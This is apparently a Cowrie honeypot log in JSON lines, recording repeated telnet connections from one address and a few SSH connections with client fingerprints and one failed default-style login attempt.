{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42048,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14db226e21f","protocol":"telnet","message":"New connection: 69.6.225.50:42048 (159.203.135.109:23) [session: b14db226e21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:04.125079Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42060,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09659e4c274","protocol":"telnet","message":"New connection: 69.6.225.50:42060 (159.203.135.109:23) [session: b09659e4c274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:04.456472Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42068,"dst_ip":"159.203.135.109","dst_port":23,"session":"14fc18e63132","protocol":"telnet","message":"New connection: 69.6.225.50:42068 (159.203.135.109:23) [session: 14fc18e63132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:04.567730Z"}
{"eventid":"cowrie.session.closed","duration":31.182456970214844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:05.246547Z","src_ip":"69.6.225.50","session":"5b6227101872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b925c570be55","protocol":"telnet","message":"New connection: 69.6.225.50:42074 (159.203.135.109:23) [session: b925c570be55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:07.092683Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42088,"dst_ip":"159.203.135.109","dst_port":23,"session":"9663fe0cc88b","protocol":"telnet","message":"New connection: 69.6.225.50:42088 (159.203.135.109:23) [session: 9663fe0cc88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:07.858583Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd6ec075d81","protocol":"telnet","message":"New connection: 69.6.225.50:39082 (159.203.135.109:23) [session: 5bd6ec075d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:08.907761Z"}
{"eventid":"cowrie.session.closed","duration":30.71266508102417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:11.086610Z","src_ip":"69.6.225.50","session":"9eb289d68625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88721513748169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:11.546127Z","src_ip":"69.6.225.50","session":"fb0eff2e2e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39098,"dst_ip":"159.203.135.109","dst_port":23,"session":"1652d48f3173","protocol":"telnet","message":"New connection: 69.6.225.50:39098 (159.203.135.109:23) [session: 1652d48f3173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:12.133955Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39112,"dst_ip":"159.203.135.109","dst_port":23,"session":"a23bb83c4f86","protocol":"telnet","message":"New connection: 69.6.225.50:39112 (159.203.135.109:23) [session: a23bb83c4f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:12.867442Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39126,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8e90000946","protocol":"telnet","message":"New connection: 69.6.225.50:39126 (159.203.135.109:23) [session: dd8e90000946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:13.396038Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39140,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c616cb8590","protocol":"telnet","message":"New connection: 69.6.225.50:39140 (159.203.135.109:23) [session: c0c616cb8590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:13.854012Z"}
{"eventid":"cowrie.session.closed","duration":30.18041968345642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:15.050760Z","src_ip":"69.6.225.50","session":"ace9afd00a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39150,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43ac63406ef","protocol":"telnet","message":"New connection: 69.6.225.50:39150 (159.203.135.109:23) [session: d43ac63406ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:15.347998Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e785e0f1a746","protocol":"telnet","message":"New connection: 69.6.225.50:39156 (159.203.135.109:23) [session: e785e0f1a746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:16.570727Z"}
{"eventid":"cowrie.session.closed","duration":30.86332654953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.067346Z","src_ip":"69.6.225.50","session":"b5c449b0003d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39164,"dst_ip":"159.203.135.109","dst_port":23,"session":"816825598e10","protocol":"telnet","message":"New connection: 69.6.225.50:39164 (159.203.135.109:23) [session: 816825598e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.250597Z"}
{"eventid":"cowrie.session.closed","duration":30.900957107543945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.362183Z","src_ip":"69.6.225.50","session":"05bf5260bcbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6327c7ef4bcc","protocol":"ssh","message":"New connection: 194.59.206.2:61876 (10.17.0.5:22) [session: 6327c7ef4bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.582768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.589468Z","src_ip":"194.59.206.2","session":"6327c7ef4bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.675197Z","src_ip":"194.59.206.2","session":"6327c7ef4bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.764862Z","src_ip":"194.59.206.2","session":"6327c7ef4bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6c672043355","protocol":"telnet","message":"New connection: 69.6.225.50:39166 (159.203.135.109:23) [session: f6c672043355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:17.803980Z"}
{"eventid":"cowrie.session.closed","duration":30.615710735321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:18.111572Z","src_ip":"69.6.225.50","session":"1f6eead0a044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46252,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd6d456db031","protocol":"telnet","message":"New connection: 69.6.225.50:46252 (159.203.135.109:23) [session: fd6d456db031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:18.414607Z"}
{"eventid":"cowrie.session.closed","duration":30.907133102416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:19.132514Z","src_ip":"69.6.225.50","session":"ba0752f678d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46268,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0f7798a1ba","protocol":"telnet","message":"New connection: 69.6.225.50:46268 (159.203.135.109:23) [session: 3b0f7798a1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:20.818581Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46278,"dst_ip":"159.203.135.109","dst_port":23,"session":"9933ce9371d2","protocol":"telnet","message":"New connection: 69.6.225.50:46278 (159.203.135.109:23) [session: 9933ce9371d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:21.875782Z"}
{"eventid":"cowrie.session.closed","duration":30.41549301147461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:22.117920Z","src_ip":"69.6.225.50","session":"f88d8cd62d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"3344e99c2a2c","protocol":"telnet","message":"New connection: 69.6.225.50:46286 (159.203.135.109:23) [session: 3344e99c2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:22.389668Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46298,"dst_ip":"159.203.135.109","dst_port":23,"session":"884aa3165731","protocol":"telnet","message":"New connection: 69.6.225.50:46298 (159.203.135.109:23) [session: 884aa3165731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:22.576051Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46310,"dst_ip":"159.203.135.109","dst_port":23,"session":"9784198ddcec","protocol":"telnet","message":"New connection: 69.6.225.50:46310 (159.203.135.109:23) [session: 9784198ddcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:22.588849Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ddd57ed25aa","protocol":"telnet","message":"New connection: 69.6.225.50:46316 (159.203.135.109:23) [session: 5ddd57ed25aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:23.146374Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55942,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbbfc230a69e","protocol":"ssh","message":"New connection: 159.203.92.129:55942 (159.203.135.109:22) [session: cbbfc230a69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.182737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.187100Z","src_ip":"159.203.92.129","session":"cbbfc230a69e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.191890Z","src_ip":"159.203.92.129","session":"cbbfc230a69e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alain","password":"alain","message":"login attempt [alain/alain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.202470Z","src_ip":"159.203.92.129","session":"cbbfc230a69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.013327598571777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.298285Z","src_ip":"69.6.225.50","session":"e9a773b09c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"463758e90f02","protocol":"telnet","message":"New connection: 69.6.225.50:46340 (159.203.135.109:23) [session: 463758e90f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:25.617220Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:26.208567Z","src_ip":"159.203.92.129","session":"cbbfc230a69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46328,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6058c4e41f8","protocol":"telnet","message":"New connection: 69.6.225.50:46328 (159.203.135.109:23) [session: b6058c4e41f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:26.373150Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":46344,"dst_ip":"159.203.135.109","dst_port":23,"session":"4291b12d5a8a","protocol":"telnet","message":"New connection: 69.6.225.50:46344 (159.203.135.109:23) [session: 4291b12d5a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:26.647736Z"}
{"eventid":"cowrie.session.closed","duration":30.669657945632935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:28.044601Z","src_ip":"69.6.225.50","session":"be22a416e8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57690,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c39f3e3fe2","protocol":"telnet","message":"New connection: 69.6.225.50:57690 (159.203.135.109:23) [session: 35c39f3e3fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:30.078903Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b106fc0440","protocol":"telnet","message":"New connection: 69.6.225.50:57694 (159.203.135.109:23) [session: 04b106fc0440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:30.448940Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57700,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa05ec51baf5","protocol":"telnet","message":"New connection: 69.6.225.50:57700 (159.203.135.109:23) [session: aa05ec51baf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:31.360500Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57716,"dst_ip":"159.203.135.109","dst_port":23,"session":"123ed651a234","protocol":"telnet","message":"New connection: 69.6.225.50:57716 (159.203.135.109:23) [session: 123ed651a234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:31.698066Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c2cacaebc32","protocol":"telnet","message":"New connection: 69.6.225.50:57726 (159.203.135.109:23) [session: 2c2cacaebc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:31.769059Z"}
{"eventid":"cowrie.session.closed","duration":31.056658506393433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:32.216968Z","src_ip":"69.6.225.50","session":"62c2452ce759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50369930267334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:32.454465Z","src_ip":"69.6.225.50","session":"bf3b1fcecf9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57730,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b86a711ec35","protocol":"telnet","message":"New connection: 69.6.225.50:57730 (159.203.135.109:23) [session: 0b86a711ec35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:33.522345Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57740,"dst_ip":"159.203.135.109","dst_port":23,"session":"540ba67e0ba6","protocol":"telnet","message":"New connection: 69.6.225.50:57740 (159.203.135.109:23) [session: 540ba67e0ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:34.009951Z"}
{"eventid":"cowrie.session.closed","duration":30.756153345108032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:34.046460Z","src_ip":"69.6.225.50","session":"a8bee5cead17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57756,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27761c399f6","protocol":"telnet","message":"New connection: 69.6.225.50:57756 (159.203.135.109:23) [session: f27761c399f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:34.236258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57766,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff808f02775","protocol":"telnet","message":"New connection: 69.6.225.50:57766 (159.203.135.109:23) [session: 0ff808f02775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:34.521977Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57780,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee6e3f60c6e","protocol":"telnet","message":"New connection: 69.6.225.50:57780 (159.203.135.109:23) [session: dee6e3f60c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:34.766379Z"}
{"eventid":"cowrie.session.closed","duration":31.004807710647583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.061753Z","src_ip":"69.6.225.50","session":"8406c0aca16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49933409690857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.066922Z","src_ip":"69.6.225.50","session":"14fc18e63132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946966409683228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.071941Z","src_ip":"69.6.225.50","session":"b14db226e21f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211268186569214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.667619Z","src_ip":"69.6.225.50","session":"b09659e4c274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87d28ba5643","protocol":"telnet","message":"New connection: 69.6.225.50:57784 (159.203.135.109:23) [session: a87d28ba5643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.684170Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57790,"dst_ip":"159.203.135.109","dst_port":23,"session":"414737b5e3f1","protocol":"telnet","message":"New connection: 69.6.225.50:57790 (159.203.135.109:23) [session: 414737b5e3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:35.764860Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"2133be9eefcc","protocol":"telnet","message":"New connection: 69.6.225.50:57802 (159.203.135.109:23) [session: 2133be9eefcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:36.334331Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57812,"dst_ip":"159.203.135.109","dst_port":23,"session":"6824e3c45cd8","protocol":"telnet","message":"New connection: 69.6.225.50:57812 (159.203.135.109:23) [session: 6824e3c45cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:36.784805Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":37160,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a47af7fa40","protocol":"telnet","message":"New connection: 5.61.90.139:37160 (10.17.0.5:23) [session: a7a47af7fa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:37.017318Z"}
{"eventid":"cowrie.session.closed","duration":30.19431781768799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:38.052800Z","src_ip":"69.6.225.50","session":"9663fe0cc88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248019218444824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:38.340580Z","src_ip":"69.6.225.50","session":"b925c570be55","protocol":"telnet"}
